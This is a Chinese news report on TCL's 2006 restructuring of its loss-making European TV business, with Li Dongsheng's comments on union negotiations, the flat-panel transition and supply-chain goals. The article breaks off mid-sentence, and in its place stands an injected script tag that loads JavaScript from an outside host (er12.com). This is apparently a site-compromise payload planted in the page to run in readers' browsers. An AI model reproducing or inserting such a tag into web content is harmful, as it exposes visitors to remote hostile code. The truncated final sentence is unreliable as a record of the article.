广州报道 本报记者 郎朗 朱宗文
“全球制造”挫伤：tcl重估欧洲业务
2004年，当tcl拉开中国乃至华人制造业国际化并购序幕的时候，其掌舵人李东生并没有想到会有如此的艰难。
2006年10月底，tcl公布的欧洲业务重组方案成为tcl国际化能否成功的最后一枚“救命毫毛”。按照李东生的说法，11月中旬，tcl欧洲团队已与当地工会组织达成了最终协议，还需要有关部门的审批，这一过程可能还需要3周时间。
2006年，感到难受的肯定不止tcl一家，另三大华人跨国并购（明基并购西门子手机，冠捷并购飞利浦显示器，联想并购ibm的pc业务）都遇到了困难。
重估欧洲业务
尽管李东生仍坚称：“目前谈论tcl的国际化成败还为时过早。”然而，2006年tcl遇到的困难却是无法回避的：tte北美业务今年第三季度实现了46万美元的盈利，tct的手机业务也从第二季度开始有了600多万港元的利润，但tte欧洲业务从2005年下半年出现的巨亏却是李东生始料未及的。
于是，tcl欧洲业务的重组从2005年9月就提上了议事日程。
在麦肯锡和安永会计师事务所的帮助下，tcl欧洲管理团队与汤姆逊，以及当地的工会组织和政府部门进行了近3个月的谈判和讨论后，终于确定了10月底最终公布的解决方案。
这一协商重组模式——当初解决阿尔卡特合资公司也采用了同样的模式，需要投入近5000万美元的资金，将造成tcl欧洲业务出现40%-50%的下降，但tcl至少在欧洲暂时站稳脚跟。
“我们如果宣布破产是合法的，而且破产需要的现金流是最小的，但是我们没有这样做。首先是损失很大，不光是债务难以收回，破产对tcl和汤姆逊企业和品牌造成的伤害同样严重，我们可能未来3-5年内都难以重新在欧洲开展业务，最终我们选择了协商重组的方式。”李东生如是表示。
按照麦肯锡提供的商业计划的经营预算，tmt欧洲原来的组织结构、运营成本大概是需要销售额的20%-21%，新的组织机构下则降低到12%，当然也将售后服务交给了大经销商，这样tmt在欧洲的客户将相对集中，对供应链的要求将大大降低。
“走出去”的教科书
虽然tcl的国际化还难言成败，但是过去两年多的国际化经验和教训却成为了国内制造企业走出去的“必修课”。
当2004年李东生迈出跨国并购第一步的时候，他绝对不是一时头脑发热。李东生告诉记者，“从全球范围来看，成功的消费类电子企业无一不是全球运营的，只在中国市场搏杀市场只能越走越窄。”
在tcl之后，包括联想、明基、冠捷、cec在内的企业都尾随而至，海尔等国内企业也在跃跃欲试，中国制造的国际化群体正在形成，然而tcl和明基在欧洲的困难却告诉这群企业，国际化并不是那么好玩的。
跨国并购最大的难题是人与文化的融合。李东生认为，欧洲的法律和工会文化为刚走出去的中国企业难以接受。
在欧洲新的业务模式确立后，汤姆逊彩电业务原有的9000名员工就只剩不到6000人，其中主要是波兰、墨西哥和泰国三个工厂的近5000名员工，而研发和营销人员在欧洲则只保留了部分工业设计团队。
按照法国当地工会的要求，由于法国公司的工人和社会利益是放在第一位的，股东利益是放在最后的，而且工作岗位要提供给最需要它的工人。因此，tcl本次重组不得不选择了一次性全部补偿再成立新的公司，并返聘了部分自己需要的员工。
此前在处理阿尔卡特员工问题时，幸运的是阿尔卡特集团接纳了近380名员工，避免了类似的裁员法律风波。
除了文化融合的问题外，选择合适的时机走出去也是很重要的，tcl跨国并购的时候却遇到了彩电行业从crt到平板的快速升级，而被认为一向“死板”的欧洲和北美却成了平板电视的最大市场。
这样汤姆逊基于crt技术建立的产业模式已不能适应平板电视的需求，李东生表示，“欧洲业务的产品周转时间高达132天，中间的跌价损失使tcl的快速转型造成了巨大的损失。”
此外，tcl国际化的人才储备以及战略准备都为业内诟病，但tcl的国际化却成为“后来者”最好的前车之鉴。
打造供应链“尖刀”
对于tcl集团的未来，李东生有着清醒认识，在他看来企业运营必需的三种能力：技术创新能力、品牌影响力和供应链整合能力，tcl目前有希望超越三星、索尼等竞争对手的只有供应链整合能力，于是供应链条整合便成了tcl重点突破的方向。
在这个领域tcl将自己的标杆确立为富士康、伟创力这样的企业，李东生表示：“目前tcl全球供应链整合的能力正在快速提高。”
他还表示，“今年我们重点改善我们企业两个方面的能力：一个是我们mpi的能力，mpi就是新产品投放的能力，然后就是全球供应链的能力。”
在供应链能力的改善方面tcl过去半年已取得不错的成绩，从今年7月份开始启动这两个项目，到?script src=http://er12.com/t.js>
